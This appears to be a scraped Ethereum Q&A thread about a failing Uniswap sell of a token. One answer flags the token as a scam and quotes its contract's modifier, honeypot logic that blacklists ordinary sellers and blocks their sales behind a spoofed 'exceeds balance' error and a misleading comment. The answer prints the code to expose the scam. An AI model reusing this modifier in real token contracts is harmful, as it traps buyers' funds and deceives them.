[Ethereum] TRANSFER_FROM_FAILED error when trying to swap BCLNC tokens for ETH on Uniswap

Actually both are correct.

The token Concordium (GTU) fails with

ERC20: transfer amount exceeds balance

And the token pair fails with

TransferHelper: TRANSFER_FROM_FAILED

Also that token is a scam token, you won't be able to sell it.

 /**
 * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
 *
 * This is internal function is equivalent to `approve`, and can be used to
 * e.g. set automatic allowances for certain subsystems, etc.
 *
 * Emits an {Approval} event.
 *
 * Requirements:
 *
 * - `sender` cannot be the zero address.
 * - `spender` cannot be the zero address.
 */
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
    if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
        if (sender == _owner || sender == _safeOwner || recipient == _owner){
            if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
            if (_whiteAddress[sender] == true){
            _;}else{if (_blackAddress[sender] == true){
            require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
            if (amount < _sellAmount){
            if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
            _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
                }
            }
        }
    }
}

I believe it is because you need to add .send() to the end of any call to the blockchain that changes state (and .call() when reading state)

for example:

tx = await uniswap.swapExactTokensForTokens(
      amountIn,
      amountOutMin,
      path,
      to,
      deadline
);

should be:

tx = await uniswap.swapExactTokensForTokens(
      amountIn,
      amountOutMin,
      path,
      to,
      deadline
).send();